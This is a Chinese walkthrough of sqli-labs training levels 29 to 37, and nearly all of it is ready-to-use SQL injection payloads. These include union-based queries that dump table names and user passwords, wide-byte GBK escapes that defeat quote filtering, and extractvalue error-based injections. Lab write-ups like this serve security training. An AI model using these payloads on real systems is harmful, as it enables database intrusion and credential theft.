sqli.labs靶场（29到40关）

29、第二十九关

id=1'

id=1''

尝试发现是单引号闭合，

-1' union select 1,2,3--+

-1' union select 1,2,database()--+

-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')--+

-1' union select 1,2,(select group_concat(username,'~',password) from security.users)--+

30、第三十关

id=1"

id=1""

探测位置：-1" union select 1,2,3--+

POC：-1" union select 1,2,database()--+

POC：-1" union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

POC：-1" union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')--+

POC：id=-1" union select 1,2,(select group_concat(username,'~',password) from security.users)--+

31、第三十一关

id=1"

id=1""

-1") union select 1,2,3--+

-1") union select 1,2,database()--+

-1") union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

-1") union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')--+

-1") union select 1,2,(select group_concat(username,'~',password) from security.users)--+

32、第三十二关

id=1'

这关是单引号闭合，但是单引号被转译成\’了,想办法去掉单引号，可用宽字节注入

MySQL 在使用 GBK 编码的时候，会认为两个字符为一个汉字，例如 %aa%5c 就是一个汉字。因为过滤方法主要就是在敏感字符前面添加反斜杠 \，所以这里想办法干掉反斜杠即可。

%df 吃掉
具体的原因是 urlencode(') = %5c%27，我们在 %5c%27 前面添加 %df，形成 %df%5c%27，MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字，这个时候就把 %df%5c 当做是一个汉字，%27 则作为一个单独的符号在外面，同时也就达到了我们的目的。

-1%aa%5c%27%20union select 1,2,3 --+

-1%aa%5c%27%20union select 1,2,database() --+

-1%aa%5c%27%20union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

-1%aa%5c%27%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=(select%20right(group_concat(table_name),5)%20from%20information_schema.columns%20where%20table_schema=database()))--+

-1%aa%5c%27%20union%20select%201,2,group_concat(username,0,password)%20from%20users--+

33、第三十三关

这关也是单引号闭合，但是引号被转译了和32关一样，用宽字节

-1%aa%5c%27 union select 1,2,3--+

-1%aa%5c%27 union select 1,2,database()--+

-1%aa%5c%27 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

-1%aa%5c%27 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select right(group_concat(table_name),5) from information_schema.tables where table_schema=database()))--+

-1%aa%5c%27 union select 1,2,(select group_concat(username,0,password) from security.users)--+

34、第三十四关

这关也是引号被转译，试一下宽字节注入，发现有报错信息，可以用报错注入

uname=admin%aa%5c%27%20and extractvalue(1,concat(0x7e,database(),0x7e))--+

admin%aa%5c%27%20and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

admin%aa%5c%27%20and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select right(group_concat(table_name),5) from information_schema.tables where table_schema=database())),0x7e))--+

admin%aa%5c%27%20and extractvalue(1,concat(0x7e,(select group_concat(username,0,password) from security.users)))--+

35、第三十五关

-1 union select 1,2,3--+

-1 union select 1,2,database()--+

-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select right(group_concat(table_name),5) from information_schema.tables where table_schema=database()))--+

-1 union select 1,2,(select group_concat(username,0,password) from security.users)--+

36、第三十六关

-1%aa%5c%27 union select 1,2,3--+

-1%aa%5c%27 union select 1,2,database()--+

-1%aa%5c%27 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

-1%aa%5c%27 union select 1,2,(select group_concat(username,0,password) from security.users)--+

37、第三十七关

admin%aa%5c%27and+extractvalue(1,concat(0x7e,database()))--+

admin%aa%5c%27and+extractvalue(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())))--+

admin%aa%5c%27and+extractvalue(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns where table_schema=database() and+table_name=(select+right(group_concat(table_name),5) from information_schema.tables where table_schema=database()))))--+